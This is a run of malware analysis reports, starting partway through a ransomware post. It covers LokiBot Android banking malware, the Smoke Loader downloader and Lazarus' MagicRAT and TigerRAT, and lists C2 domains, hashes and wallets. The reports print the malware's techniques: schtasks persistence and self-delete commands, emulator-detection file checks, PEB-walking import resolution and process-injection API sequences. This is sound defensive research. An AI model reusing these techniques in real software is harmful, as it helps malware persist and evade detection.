.xml, .cf, .mdf, .fil, .spr, .accdb, .abf, .a3d, .asm, .fbx, .fbw, .fbk, .fdb, .fbf, .max, .m3d, .dbf, .ldf, .keystore, .iv2i, .gbk, .gho, .sn1, .sna, .spf, .sr2, .srf, .srw, .tis, .tbl, .x3f, .ods, .pef, .pptm, .txt, .pst, .ptx, .pz3, .mp3, .odp, .qic, .wps I have sent over all necessary files to the good people over at Bleeping Computer, as there may be a way to recover files. If so, I will update this post. **Update - 12/02:** Thanks to a tweet from Catalin, this appears to be another version of so-called "offline" ransomware, discovered by Check Point: “Offline” Ransomware Encrypts Your Data without C&C Communication. Note this is in fact a Cryakl variant. Unfortunately, there doesn't appear to be a way to recover your files once encrypted. Your best bet in trying to recover files is using a tool like Shadow Explorer, which will check if you can restore files using 'shadow copies' or 'shadow volume copies'. If that doesn't work, you may try using a data recovery program such as PhotoRec or Recuva. ## Conclusion Ransomware is, unfortunately, long from gone. Almost each week or month, new variants or totally new strains of ransomware are popping up. In this way, the first and foremost rule is: Create (regular) backups!
# LokiBot - The First Hybrid Android Malware ## Abstract Lately, we have been seeing a new variant of Android banking malware that is well-developed and provides numerous unique features such as a ransomware module. Based on the BTC addresses used in the source code, it seems that the actors behind this new Android malware are successful cybercriminals with over 1.5 million dollars in BTC. ## Bitcoin Wallet Details It is very unlikely that the actors behind Android LokiBot have gained this amount of money using only LokiBot since the requested fee for ransomware is between $70 and $100, and the bot counts in the various campaigns we have seen are usually around 1000. The malware is sold as a kit. A full license, including updates, costs $2000 in BTC. The main attack vector of the malware is showing phishing overlays on a large number of banking apps (often around 100) and a handful of other popular apps such as Skype, Outlook, and WhatsApp. The ransomware stage is activated when victims disable the administrative rights of the malware or try to uninstall it. Besides the automatic activation of the ransomware module, the bot also has a “Go_Crypt” command, enabling the actors to trigger it. However, the ransomware attack does not seem to be the main focus of their campaign at the time of writing. ## Malware Characteristics LokiBot, which works on Android 4.0 and higher, has pretty standard malware capabilities, such as the well-known overlay attack all bankers have. It can also steal the victim’s contacts and read and send SMS messages. It has a specific command to spam all contacts with SMS messages as a means to spread the infection. The victim’s browser history isn’t safe either, as this can be uploaded to the C2. To top it off, there is an option to lock the phone, preventing the user from accessing it. LokiBot also has some more unique features. For one, it has the ability to start the victim’s browser app and open a given web page. Additionally, it implements SOCKS5, can automatically reply to SMS messages, and can start a user’s banking application. Combine this with the fact that LokiBot can show notifications that seem to come from other apps, containing, for example, a message that new funds have been deposited to the victim’s account, and interesting phishing attack scenarios arise! The phishing notifications use the original icon of the application they try to impersonate. In addition, the phone is made to vibrate right before the notification is shown so the victim will take notice of it. When the notification is tapped, it will trigger an overlay attack. Another very interesting and unique feature of LokiBot is its ransomware capabilities. This ransomware triggers when you try to remove LokiBot from the infected device by revoking its administrative rights. It won’t go down without a fight and will encrypt all your files in the external storage as a last resort to steal money from you, as you need to pay Bitcoins to decrypt your files. What’s also interesting to note is that the malware obfuscates its network traffic in the exact same way as we’ve seen in previously discovered Bankbot variants. This is probably also the reason why Nikolaos Chrysaidos (Head of Mobile Threats & Security at Avast) has reported very early stages of the LokiBot campaign as Bankbot. ## Panel Features The C2 web panel is well-rounded and has a couple of interesting features. It provides you with a built-in APK builder that allows you to customize the icon, name, build date, and C2 URL, making it trivial to create numerous different samples targeting different user groups. It will also automatically generate a certificate to sign each APK. In addition to building the APK, an actor can also customize all aspects of the overlays shown to the victims and do advanced searches on all collected data, such as logs, history, and geolocation. ## Ransomware Details The ransomware stage is automatically activated when victims try to remove the malware. In addition, it can be activated from the C2 by sending the “Go_Crypt” command. As soon as the ransomware is activated, it starts searching for all files and directories in the primary shared or external storage directory (traditionally the SD card) and encrypts them using AES. The key is generated randomly under default AES/ECB/PKCS5 padding and 128-bit key size. However, the encryption function in this ransomware utterly fails because even though the original files are deleted, the encrypted file is decrypted and written back to itself. Thus, victims won’t lose their files; they are only renamed. Even though the encryption part fails pretty badly, the screen locker still works and will lock the victim’s screen using the administrative permissions it has gained from the user when the malware was first started. A threat is then shown on the screen: “Your phone is locked for viewing child pornography.” The payment amount varies between $70 and $100. The Bitcoin addresses of LokiBot are hardcoded in the APK and can’t be updated from the C2 server. ## Dynamic Analysis Evasion The techniques used by LokiBot to prevent dynamic analysis are not very advanced but seem to be more extensive than those used by other banking malware we have seen. Over time, we see continuing improvements in this part, indicating the developer is still working on this. The following techniques are found in the latest version of LokiBot: - Detecting Qemu files: /dev/socket/qemud, /dev/qemu_pipe, /system/lib/libc_malloc_debug_qemu.so, /sys/qemu_trace, /system/bin/qemu-props - Detecting Qemu properties: init.svc.qemud, init.svc.qemu-props, qemu.hw.mainkeys - Detecting emulator (goldfish) drivers in /proc/tty/drivers - Checking installed packages for TaintDroid package org.appanalysis - Checking presence of TaintDroid class dalvik.system.Taint ## Conclusion Since early this summer, we have seen at least 30 to 40 samples with bot counts varying between 100 to 2000 bots. We believe that the actors behind LokiBot are successful based on their BTC traffic and regular bot updates. In fact, we have seen new features emerge in the bot almost every week, which shows that LokiBot is becoming a strong Android trojan targeting many banks and popular apps. ## Targeted Apps (Sorted by Package Name) 1. BAWAG P.S.K. (at.bawag.mbanking) 2. Easybank (at.easybank.mbanking) 3. ErsteBank/Sparkasse netbanking (at.spardat.netbanking) 4. Volksbank Banking (at.volksbank.volksbankmobile) 5. Bankwest (au.com.bankwest.mobile) 6. ING Australia Banking (au.com.ingdirect.android) 7. NAB Mobile Banking (au.com.nab.mobile) 8. Suncorp Bank (au.com.suncorp.SuncorpBank) 9. ING Direct France (com.IngDirectAndroid) 10. Raiffeisen Smart Mobile (com.advantage.RaiffeisenBank) 11. Akbank Direkt (com.akbank.android.apps.akbank_direkt) 12. 澳盛行動夥伴 (com.anz.android) 13. ANZ goMoney Australia (com.anz.android.gomoney) 14. AOL - News, Mail & Video (com.aol.mobile.aolapp) 15. Axis Mobile (com.axis.mobile) 16. Bank Austria MobileBanking (com.bankaustria.android.olb) 17. Bankinter Móvil (com.bankinter.launcher) 18. BBVA | España (com.bbva.bbvacontigo) 19. BBVA net cash | ES & PT (com.bbva.netcash) 20. Bendigo Bank (com.bendigobank.mobile) 21. Boursorama Banque (com.boursorama.android.clients) 22. Banque (com.caisseepargne.android.mobilebanking) 23. Chase Mobile (com.chase.sig.android) 24. CIBC Mobile Banking (com.cibc.android.mobi) 25. CIC (com.cic_prod.bad) 26. Citibank Australia (com.citibank.mobile.au) 27. Fifth Third Mobile Banking (com.clairmail.fth) 28. Crédit Mutuel (com.cm_prod.bad) 29. Alior Mobile (com.comarch.mobile) 30. CommBank (com.commbank.netbank) 31. iMobile by ICICI Bank (com.csam.icici.bank.imobile) 32. Meine Bank (com.db.mm.deutschebank) 33. Gumtree: Search, Buy & Sell (com.ebay.gumtree.au) 34. Facebook (com.facebook.katana) 35. Messenger (com.facebook.orca) 36. QNB Finansbank Cep Şubesi (com.finansbank.mobile.cepsube) 37. La Banque Postale (com.fullsix.android.labanquepostale.accountaccess) 38. Garanti Mobile Banking (com.garanti.cepsubesi) 39. Getin Mobile (com.getingroup.mobilebanking) 40. Google Play Games (com.google.android.play.games) 41. Groupama toujours là (com.groupama.toujoursla) 42. Lloyds Bank Mobile Banking (com.grppl.android.shell.CMBlloydsTSB73) 43. Halifax: the banking app that gives you extra (com.grppl.android.shell.halifax) 44. HSBC Mobile Banking (com.htsu.hsbcpersonalbanking) 45. Bank of America Mobile Banking (com.infonow.bofa) 46. ING-DiBa Banking + Brokerage (com.ing.diba.mbbr2) 47. Raiffeisen ELBA (com.isis_papyrus.raiffeisen_pay_eyewdg) 48. Capital One Mobile (com.konylabs.capitalone) 49. Citi Handlowy (com.konylabs.cbplpat) 50. Kutxabank (com.kutxabank.android) 51. MACIF Assurance et Banque (com.macif.mobile.application.android) 52. Microsoft Outlook (com.microsoft.office.outlook) 53. Skrill (com.moneybookers.skrillpayments) 54. NETELLER (com.moneybookers.skrillpayments.neteller) 55. Crédit du Nord pour Mobile (com.ocito.cdn.activity.creditdunord) 56. PayPal (com.paypal.android.p2pmobile) 57. İşCep (com.pozitron.iscep) 58. ruralvía (com.rsi) 59. State Bank Freedom (com.sbi.SBFreedom) 60. SBI Anywhere Personal (com.sbi.SBIFreedomPlus) 61. Skype - gratis chatberichten en video-oproepen (com.skype.raider) 62. HDFC Bank MobileBanking (com.snapwork.hdfc) 63. Sparkasse+ (com.starfinanz.smob.android.sbanking) 64. Sparkasse (com.starfinanz.smob.android.sfinanzstatus) 65. SunTrust Mobile App (com.suntrust.mobilebanking) 66. TD Canada (com.td) 67. Banca Móvil Laboral Kutxa (com.tecnocom.cajalaboral) 68. Halkbank Mobil (com.tmobtech.halkbank) 69. Bancolombia App Personas (com.todo1.mobile) 70. Union Bank Mobile Banking (com.unionbank.ecommerce.mobile.android) 71. USAA Mobile (com.usaa.mobile.android.usaa) 72. U.S. Bank (com.usbank.mobilebanking) 73. VakıfBank Mobil Bankacılık (com.vakifbank.mobile) 74. Viber Messenger (com.viber.voip) 75. Wells Fargo Mobile (com.wf.wellsfargomobile) 76. WhatsApp Messenger (com.whatsapp) 77. Yahoo Mail Blijf georganiseerd (com.yahoo.mobile.client.android.mail) 78. Yapı Kredi Mobile (com.ykb.android) 79. Ziraat Mobil (com.ziraat.ziraatmobil) 80. comdirect mobile App (de.comdirect.android) 81. Commerzbank Banking App (de.commerzbanking.mobil) 82. Consorsbank (de.consorsbank) 83. DKB-Banking (de.dkb.portalapp) 84. VR-Banking (de.fiducia.smartphone.android.banking.vr) 85. Postbank Finanzassistent (de.postbank.finanzassistent) 86. SpardaApp (de.sdvrz.ihb.mobile.app) 87. Popular (es.bancopopular.nbmpopular) 88. Santander (es.bancosantander.apps) 89. Bankia (es.cm.android) 90. EVO Banco móvil (es.evobanco.bancamovil) 91. CaixaBank (es.lacaixa.mobile.android.newwapicon) 92. Bank Pekao (eu.eleader.mobilebanking.pekao) 93. PekaoBiznes24 (eu.eleader.mobilebanking.pekao.firm) 94. Mobilny Bank (eu.eleader.mobilebanking.raiffeisen) 95. HVB Mobile B@nking (eu.unicreditgroup.hvbapptan) 96. Mon AXA (fr.axa.monaxa) 97. Banque Populaire (fr.banquepopulaire.cyberplus) 98. Ma Banque (fr.creditagricole.androidapp) 99. Mes Comptes - LCL pour mobile (fr.lcl.android.customerarea) 100. Mobile Banking (hr.asseco.android.jimba.mUCI.ro) 101. Baroda mPassbook (in.co.bankofbaroda.mpassbook) 102. Maybank (may.maybank.android) 103. L’Appli Société Générale (mobi.societegenerale.mobile.lappli) 104. Santander MobileBanking (mobile.santander.de) 105. Mes Comptes BNP Paribas (net.bnpparibas.mescomptes) 106. BankSA Mobile Banking (org.banksa.bank) 107. Bank of Melbourne Mobile Banking (org.bom.bank) 108. St.George Mobile Banking (org.stgeorge.bank) 109. Westpac Mobile Banking (org.westpac.bank) 110. BZWBK24 mobile (pl.bzwbk.bzwbk24) 111. eurobank mobile (pl.eurobank) 112. INGMobile (pl.ing.ingmobile) 113. Token iPKO (pl.ipko.mobile) 114. mBank PL (pl.mbank) 115. IKO (pl.pkobp.iko) 116. Banca Transilvania (ro.btrl.mobile) 117. IDBI Bank GO (src.com.idbi) 118. TSB Mobile Banking (uk.co.tsb.mobilebank) 119. Bank Millennium (wit.android.bcpBankingApp.millenniumPL) ## Sample Hashes - be02cf271d343ae1665588270f59a8df3700775f98edc42b3e3aecddf49f649d - 1979d60ba17434d7b4b5403c7fd005d303831b1a584ea2bed89cfec0b45bd5c2 - a10f40c71721668c5050a5bf86b41a1d834a594e6e5dd82c39e1d70f12aadf8b - 5c1857830053e64082d065998ff741b607186dc3414aa7e8d747614faae3f650 - cd44705b685dce0a6033760dec477921826cd05920884c3d8eb4762eaab900d1 - bae9151dea172acceb9dfc27298eec77dc3084d510b09f5cda3370422d02e851 - 418bdfa331cba37b1185645c71ee2cf31eb01cfcc949569f1addbff79f73be66 - a9899519a45f4c5dc5029d39317d0e583cd04eb7d7fa88723b46e14227809c26 - 6fb961a96c84a5f61d17666544a259902846facb8d3e25736d93a12ee5c3087c - c9f56caaa69c798c8d8d6a3beb0c23ec5c80cab2e99ef35f2a77c3b7007922df - 39b7ff62ec97ceb01e9a50fa15ce0ace685847039ad5ee66bd9736efc7d4a932 - 78feb8240f4f77e6ce62441a6d213ee9778d191d8c2e78575c9e806a50f2ae45 - a09d9d09090ea23cbfe202a159aba717c71bf2f0f1d6eed36da4de1d42f91c74 - f4d0773c077787371dd3bebe93b8a630610a24d8affc0b14887ce69cc9ff24e4 - 18c19c76a2d5d3d49f954609bcad377a23583acb6e4b7f196be1d7fdc93792f8 - cda01f288916686174951a6fbd5fbbc42fba8d6500050c5292bafe3a1bcb2e8d - 7dbcecaf0e187a24b367fe05baedeb455a5b827eff6abfc626b44511d8c0029e ## Bitcoin Wallets - 19tUaovjwW5FSUfmXuECFKn7aA5hXTvqUr - 191JVE2XxLEwxZYp4j7atzsoDJ3xZEkgRC - 1139UN4Xd6Y9748fRhCxQMTxdfD3Eq3qTf
# Smoke Loader – Downloader with a Smokescreen Still Alive This time we will have a look at another payload from the recent RIG EK campaign. It is Smoke Loader (Dofoil), a bot created several years ago – one of its early versions was advertised on the black market in 2011. Although there were some periods of time in which it was not seen for quite a while, it doesn’t seem to plan retirement. The currently captured sample appears to be updated in 2015. This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self-protection. We will walk through the used techniques and compare the current sample with the older one (from 2014). ## Analyzed Samples Main focus of this analysis is the below sample, which is dropped by Rig EK: **Payload:** f60ba6b9d5285b834d844450b4db11fd – (it is an IRC bot, C&C: med-global-fox[DOT]com) ### Updated Smoke Loader During the analysis, it will be compared against the old sample, first seen in September 2014. ## Behavioral Analysis After being deployed, Smoke Loader injects itself into explorer.exe and deletes the original executable. We can see it making new connections from inside the explorer process. ### Installation and Updates Smoke Loader not only installs its original sample but also replaces it with a fresh version, which is downloaded from the C&C – path: http://<CnC address>/system32.exe. This trick makes detection more difficult – updated samples are repacked by a different crypter and may also have their set of C&Cs changed. During the current analysis, the initial sample of Smoke Loader dropped the following one: bc305b3260557f2be7f92cbbf9f82975 Sample is saved in a hidden subfolder, located in %APPDATA%: Smoke Loader adds its current sample and all other downloaded executables to the Windows registry. Names of the keys are randomly chosen among the names of existing entries. This persistence method is pretty simple (comparing i.e. with Kovter), however, there are some countermeasures taken against detection of the main module. The timestamp of the dropped executable is changed, so that malware cannot be found by searching recently modified files. Access to the file is blocked – performing reading or writing operations on it is not possible. ### Loading Other Executables During its presence in the system, it keeps downloading additional modules – “plugins”. First, the downloaded module is saved in %TEMP% under a random name and run. Then, it is moved to %APPDATA%. Below, we can see that the payload established connection with its own separate C&C: There is also a script in Autostart for deploying the payload. ## Network Communication To make analysis of the traffic harder, along with communicating with the C&C, the bot generates a lot of redundant traffic, sending requests to legitimate domains. The current sample’s C&C addresses: - smoktruefalse.com - prince-of-persia24.ru Traffic is partially encrypted. In the examples below, we can see how the bot downloads from the C&C other executables. 1. Updating the main bot with a new sample of Smoke Loader. 2. Downloading the additional payload (“plugin”). ### Payload Traffic Smoke Loader deploys the downloaded sample, so after some time we can see traffic generated by the payload (connecting to med-global-fox.com). By its characteristics, we can conclude that this time the “plugin” is an IRC bot. ## Inside Like most of the malware, Smoke Loader is distributed packed by some crypter that provides the first layer of defense against detection. After removing the crypter layer, we can see the main Smoke Loader executable. However, more unpacking needs to be done in order to reach the malicious core. For the sake of convenience, I will refer to the code section of the unpacked sample as Stage#1. Its execution starts in the Entry Point of the main executable and its role is to provide additional obfuscation. It also serves as a loader for the most important piece: Stage#2 – this is a DLL, unpacked to a dynamically allocated memory and run from there. ### Stage#1 An interesting feature of this bot is that often its executables have one section only and no imports. Below you can see the visualization of sections layout (Entry Point is marked red): Code at Entry Point is obfuscated and difficult to follow. It contains many redundant jumps; sometimes an address of a next jump is calculated on the fly – that’s why tools for static analysis cannot resolve them. Also, to make analysis more difficult, the code modifies itself during execution. The initial routine decrypts selected parts of the code section using XOR with a hardcoded value and then it calls it. This is not the only way Smoke Loader modifies itself. In the unpacked part, we can see some more tricks. This code uses many tiny jumps followed by XOR and LODS instructions to modify and displace code after every few steps of execution. In between, junk instructions have been added to make it less readable. The bot loads all the necessary imports by its own. To achieve this goal, it deploys a variant of a popular method: searching function handles in the loaded modules by calculating checksum of their names and comparing them with hardcoded values. First, a handle to the loaded module is fetched with the help of Process Environment Block (PEB): ``` MOV ESI, FS:[30] ; copy to ESI handle to PEB MOV ESI, DS:[ESI+0xC] ; struct _PEB_LDR_DATA *Ldr MOV ESI, DS:[ESI+0x1C] ; ESI = Flink = Ldr->InLoadOrderModuleList MOV EBP, DS:[ESI+0x8] ; EBP = Flink.DllBaseAddress ``` Below we can see the fragment of code that walks through exported functions of ntdll.dll searching for a handle to the function: ZwAllocateVirtualMemory (using its checksum: 0x976055C), and then saving the found handle in a variable. Thanks to this trick, Smoke Loader can operate without having any import table. (The same method is utilized by Stage#2 to fill its imports). The stored handle is used to make an API call and allocate additional memory. In this added memory space, Stage#2 is being unpacked. This new module is a PE file with headers removed (it is a common anti-dumping technique). Below, you can see the part that was erased at the beginning of the file (marked red): If we add the missing part, we can parse it as a typical PE file. It turns out to be a DLL exporting one function. Exactly the same technique was used before by older versions of Dofoil. In the past, the name of the module was Stub.dll and the exported function was Works. Now the names are substituted by garbage. This piece is loaded by the dedicated function inside Stage#1, that takes care of all the actions typically performed by the Windows Loader. First, the unpacked content is in raw format (Size of Headers: 0x400, File Alignment: 0x200): Then, the same content is realigned to a virtual format (unit size: 0x1000): Another subroutine parses and applies relocations. As we can see below, it is a typical relocations table known from PE format. Entries are stored as a continuous array of WORDs. The loader processes them one by one. First, it checks if the entry type is “32-bit field” (by TEST EAX,0x3000) – it is the only format supported in this case. Then, it fetches the relocation offset (AND EAX,0xFFF), gets the pointed address and performs calculation – by removing old ImageBase (its value is hardcoded) and applying the new base – offset to the dynamically allocated memory where the unpacked code was copied. Finally, execution flow can be redirected to the new code. Stage#1 calls the exported function from the Stage#2 DLL with three parameters. The first one is a string, different for each sample (this time it is “00018”): The execution of Stage#2 starts inside the dynamically allocated section. At this stage, we can see some of the strings known from previous editions of Smoke Loader. String “2015” may suggest that this version has been written in 2015 (however, compilation timestamp of the sample is more recent: 10th June 2016). ### Stage#2 While the previous stage was just a preparation, at Stage#2 the malicious functions are deployed. Its entry lies within the exported function that has the following header: ``` int __stdcall Work(char* sample_id, bool do_injection, char* file_path); ``` Based on those parameters, the executable recognizes its current state and the execution path to follow. Before executing the real mission, the bot prepares a disguise – injecting its code into a legitimate process – explorer.exe. Whether this path should be deployed or not, it is specified by the second parameter (denoted as do_injection). If Stage#2 was called with do_injection flag set, it will inject the code into explorer.exe. Before doing so, the environment is checked for the presence of tools used for malware analysis. If any symptom is detected pointing that the sample is running in the controlled environment, the application goes into an infinite sleep loop. If Stage#2 was called with do_injection flag cleared, it starts proceeding to the main path of execution, which includes connecting to the C&C and downloading malicious modules. If the main path of execution has been chosen, the bot proceeds to communicate with its C&C server. It is a known fact that before making the connection to the real C&C, it first checks if the network is reachable. For the purpose of testing, it uses some non-malicious address – in this case, it is msn.com. As long as it gets no response, it keeps waiting and re-trying. Once it found the connection working, next it verifies whether or not the application is already running (using the mutex with a name unique for the particular machine). If the mutex exists, the program sends a report to the C&C server and exits. If the mutex does not exist (program is not yet running), it installs itself and then starts the main operations. ### Injections to Other Processes The older version was injecting the code alternatively to explorer.exe or svchost.exe. Injection to explorer.exe employed an interesting trick that triggered a lot of attention from researchers. It is based on a PowerLoader injection technique (Shell_TrayWnd / NtQueueApcThread). Injection to svchost.exe was just a fail-safe and followed a more classic way similar to this one. Functions used: - CreateProcessInternalA - NtCreateSection - NtMapViewOfSection - RtlMoveMemory - NtUnmapViewOfSection - NtQueueApcThread - ResumeThread The current version dropped that idea in favor of another method (similar to this one) – adding a new section to the remote process and copying its own code there. Functions used: - CreateProcessInternalA - NtQueryInformationProcess - ReadProcessMemory - NtCreateSection - NtMapViewOfSection - RtlMoveMemory - NtUnmapViewOfSection - ResumeThread Now the only target of the injection is explorer.exe. It patches the Entry Point of explorer and adds there a code redirecting to the newly added section. That section contains the injected Stage#2 DLL along with a small loader (similar to the one from Stage#1). Again, the loader prepares Stage#2 and deploys it – this time with different parameters. ## Communication Protocol Old versions of Smoke Loader were using a very descriptive protocol, with commands directly pointing to the functionality. Below are the parameters used by the old version: ``` cmd=getload&login= &file= &run=ok &run=fail &sel= &ver= &bits= &doubles=1 &personal=ok &removed=ok &admin= &hash= ``` In the current version, the sent beacon looks different – parameters are separated by a delimiter instead of following the typical, more lengthy key-value format: ``` "2015#D2C0431D4351DCD46E75D663AA9911B1448D3B2B#00018#6.1#0#0#10001#0#" ``` Reading the beacon, we can confirm that the currently analyzed version is higher than the previous one. The bot also sends its ID, which is generated based on the GUID of the particular system and the parameter typical for the particular sample (i.e. “00018”). The program also reports to the C&C if there was an attempt to run it more than once (mutex locked): ``` "2015#D2C0431D4351DCD46E75D663AA9911B1448D3B2B#00018#6.1#0#0#10001#13#0" ``` ## Conclusion In the past, Smoke Loader was extensively distributed via spam. Now we encountered it carried by an exploit kit. Many parts of the bot didn’t change over the years, making this malware easy to identify. It still uses the same set of environment checks for its defense. Also, it waits for network accessibility in old style. The protocol used for its communication with the C&C is now less descriptive – it doesn’t have so many keywords that identify its performed actions. Like the previous, traffic is encrypted. The core features also stayed the same and the main role of this malware is to download and deploy other modules.
# MagicRAT: Lazarus’ Latest Gateway into Victim Networks By Jung Soo An, Asheer Malhotra, and Vitor Ventura. Cisco Talos has discovered a new remote access trojan (RAT) we're calling "MagicRAT," developed and operated by the Lazarus APT group, which the U.S. government believes is a North Korean state-sponsored actor. Lazarus deployed MagicRAT after the successful exploitation of vulnerabilities in VMWare Horizon platforms. We've also found links between MagicRAT and another RAT known as "TigerRAT," disclosed and attributed to Lazarus by the Korean Internet & Security Agency (KISA) recently. TigerRAT has evolved over the past year to include new functionalities that we illustrate in this blog. ## Executive Summary Cisco Talos has discovered a new remote access trojan (RAT), which we are calling "MagicRAT," that we are attributing with moderate to high confidence to the Lazarus threat actor, a state-sponsored APT attributed to North Korea by the U.S. Cyber Security & Infrastructure Agency (CISA). This new RAT was found on victims that had been initially compromised through the exploitation of publicly exposed VMware Horizon platforms. While being a relatively simple RAT capability-wise, it was built with recourse to the Qt Framework, with the sole intent of making human analysis harder, and automated detection through machine learning and heuristics less likely. We have also found evidence to suggest that once MagicRAT is deployed on infected systems, it launches additional payloads such as custom-built port scanners. Additionally, we've found that MagicRAT's C2 infrastructure was also used to host newer variants of known Lazarus implants such as TigerRAT. The discovery of MagicRAT in the wild is an indication of Lazarus' motivations to rapidly build new, bespoke malware to use along with their previously known malware such as TigerRAT to target organizations worldwide. ## Actor Profile ### Attribution Cisco Talos assesses with moderate to high confidence these attacks have been conducted by the North Korean state-sponsored threat actor Lazarus Group. This attribution is based on tactics, techniques, and procedures (TTPs), malware implants, and infrastructure overlap with known Lazarus campaigns. We have observed overlaps in C2 servers serving MagicRAT and previously disclosed Lazarus campaigns utilizing the Dtrack RAT family. Furthermore, Talos has also discovered C2 servers hosting and serving TigerRAT to existing MagicRAT infections. TigerRAT is a malware family attributed to the Lazarus APT groups by the Korean Internet & Security Agency (KISA). In some infections, we observed the deployment of MagicRAT by the attackers for some time, followed by its removal and the subsequent download and execution of another custom-developed malware called "VSingle," another implant disclosed and attributed to Lazarus by JPCERT. ## Technical Analysis ### MagicRAT MagicRAT is programmed in C++ and uses the Qt Framework by statically linking it to the RAT on 32- and 64-bit versions. The Qt Framework is a programming library for developing graphical user interfaces, of which this RAT has none. Talos believes that the objective was to increase the complexity of the code, thus making human analysis harder. On the other hand, since there are very few examples (if any) of malware programmed with Qt Framework, this also makes machine learning and heuristic analysis detection less reliable. The 32-bit version was compiled with GCC v3.4 using mingw/cygwin for support on the Microsoft Windows platform, while the 64-bit version was compiled with VisualC64, version 7.14. The RAT uses the Qt classes throughout its entire code. The configuration is dynamically stored in a QSettings class eventually being saved to disk, a typical functionality provided by that class. The malware configuration (containing author-defined QSettings) is stored in the file "visual.1991-06.com.microsoft_sd.kit" in the path "\ProgramData\WindowsSoftwareToolkit" - names and paths obviously chosen to trick the victim into believing they were part of the operating system. During our analysis, we identified three sections in the configuration file: - **[os]** which contains the command and control (C2) URLs. - **[General]** which holds general information. - **[company]** which holds data used in the communication with the C2. All analyzed samples had three encoded C2 URLs that are used to register infections and then receive commands to execute on the infected endpoint. The URLs are stored in the configuration file with the keys "windows," "linux," and "mac." The values are prefixed with "LR02DPt22R" followed by the URL encoded in base64. Upon execution, MagicRAT achieves persistence for itself by executing a hardcoded command that creates scheduled tasks on the victim machine. | Command | Intent | |---------|--------| | schtasks /create /tn "OneDrive AutoRemove" /tr "C:\Windows\System32\cmd.exe /c del /f /q C:/TEMP/[MagicRAT_file_name].exe" /sc daily /st 10:30:30 /ru SYSTEM | Scheduled task starting at a specific time [T1053/005] | | schtasks /create /tn "Microsoft\Windows\light Service Manager" /tr C:/TEMP/[MagicRAT_file_name].exe /sc onstart /ru SYSTEM | Scheduled task starting at a different time and path [T1053/005] | | %HOME%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/OneNote.lnk | Link created on startup folder [T1547/001] | Upon achieving persistence, the RAT contacts the C2. During the initial stages of execution, MagicRAT will perform just enough system reconnaissance to identify the system and environment in which the attackers are operating. This is done by executing the commands whoami, systeminfo, and ipconfig /all. The last command has its results returned via the upload of the file zero_dump.mix to the C2. MagicRAT is rather simple — it provides the operator with a remote shell on the victim's system for arbitrary command execution, along with the ability to rename, move, and delete files on the endpoint. The operator can determine the timing for the implant to sleep, change the C2 URLs, and delete the implant from the infected system. We also discovered a new variant of MagicRAT in the wild generated in April 2022. This sample now consisted of the ability to delete itself from the infected endpoint using a BAT file. ### Additional Malware One of the C2 servers used by the new MagicRAT sample, 64[.]188[.]27[.]73, hosted two more distinct implants masquerading as GIF URLs. Now, MagicRAT can make requests to its C2 and download a GIF file, which is actually an executable. #### Lightweight Port Scanner One of the GIF files discovered on the MagicRAT C2 is called "pct.gif," which is an extremely simple port scanner. It takes three arguments: the IP to connect to, followed by the port number and, finally, a value dictating whether the output of the port scan must be written to a log file on disk or the standard output. After a successful connection, the executable will either write the string "Connection success!" to the standard output or to a log file called "Ahnupdate.log" located in the current user's temporary directory. ### TigerRAT The second implant hosted on MagicRAT's C2 is a remote access trojan (RAT) known as TigerRAT. TigerRAT is an implant disclosed in 2021 by KISA and KRCERT as part of "Operation ByteTiger," detailing TigerRAT and its downloader "TigerDownloader." This implant consists of several RAT capabilities, ranging from arbitrary command execution to file management. Capabilities of the implant include: - Gather system information: username, computer name, network interface info, system info including product and version. - Run arbitrary commands on the endpoint: set/get CWD, run command via cmd.exe. - Screen capture. - Socks tunneling. - Keylogging. - File Management: drive reconnaissance, enumerate/delete files, create and write to files, read files and upload contents to C2, create processes, self-delete/uninstall from system. The latest TigerRAT versions included one new capability with indicators of a second capability set to be introduced soon. One of these capabilities is called "USB dump." The authors have also created skeleton code in preparation for implementing video capture from webcams, though it hasn't been implemented yet. #### USB Dump The USB Dump capability gives the attackers the ability to: - Enumerate files for path "LOCAL_APPDATA\GDIFONTC." - Delete files. - Find files of specific extensions in a specified drive and folder: .docx, .hwp, .doc, .txt, .pdf, .zip, .zoo, .arc, .lzh, .arj, .gz, .tgz. Add these files to an existing archive - in preparation for exfiltration. This is the main functionality of this new capability. Lazarus' implants commonly stitch together functionalities, including occasionally removing and adding different functions, which is evident from the latest TigerRAT samples. While Lazarus added a new capability (USB dumping and skeleton code for Webcam capture), they removed the port forwarding capability in the latest version. Older variants of TigerRAT (seen in 2020-2021) consisted of encrypted strings, but the latest variant consists of strings in plaintext. ## Coverage Ways our customers can detect and block this threat are listed below. Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance, and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ### IOCs The IOC list is also available in Talos' Github repo. **MagicRAT** - f6827dc5af661fbb4bf64bc625c78283ef836c6985bb2bfb836bd0c8d5397332 **TigerRAT** - f78cabf7a0e7ed3ef2d1c976c1486281f56a6503354b87219b466f2f7a0b65c4 - 1f8dcfaebbcd7e71c2872e0ba2fc6db81d651cf654a21d33c78eae6662e62392 - bffe910904efd1f69544daa9b72f2a70fb29f73c51070bde4ea563de862ce4b1 - 196fb1b6eff4e7a049cea323459cfd6c0e3900d8d69e1d80bffbaabd24c06eba **TigerRAT Unpacked** - 1c926fb3bd99f4a586ed476e4683163892f3958581bf8c24235cd2a415513b7f - f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c - 23eff00dde0ee27dabad28c1f4ffb8b09e876f1e1a77c1e6fb735ab517d79b76 - ca932ccaa30955f2fffb1122234fb1524f7de3a8e0044de1ed4fe05cab8702a5 **Port Scanner** - 